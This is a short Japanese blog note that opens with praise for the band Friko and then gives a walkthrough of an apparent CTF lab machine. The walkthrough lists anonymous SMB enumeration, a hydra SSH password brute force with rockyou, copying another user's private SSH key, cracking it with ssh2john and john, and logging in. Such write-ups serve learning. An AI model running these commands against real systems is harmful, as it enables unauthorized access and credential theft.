friko, マジでアツい
radio head でもあり bright eyes でもあり全曲の殺意がまんべんなく高い\

enum

  • 22/ssh
  • 80/http
  • 8009/ajp
  • 8080/http-proxy

SMB

  • SMB が空いてるようだったのでログインする
    • enum4linux 10.10.77.150
    • smbclient \\\\10.10.77.150\\Anonymous -U Anonymous
    • more staff.txt
  • user name は Jan ?

ssh

  • ssh でブルートフォース
    • hydra -t 16 -l jan -P /usr/share/wordlists/rockyou.txt 10.10.77.150 ssh
    • Jan じゃなくて jan なのキモすぎ，揃えてくれ
  • ssh ログイン
  • Kay が見つかる
  • .ssh が見つかったので id_rsa を持ってきて ssh2john
    • scp jan@10.10.77.150:/home/kay/.ssh/id_rsa ./
    • - ssh2john id_rsa > hash.txt
    • john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    • chmod 600 ./id_rsa
    • ssh -i id_rsa kay@10.10.77.150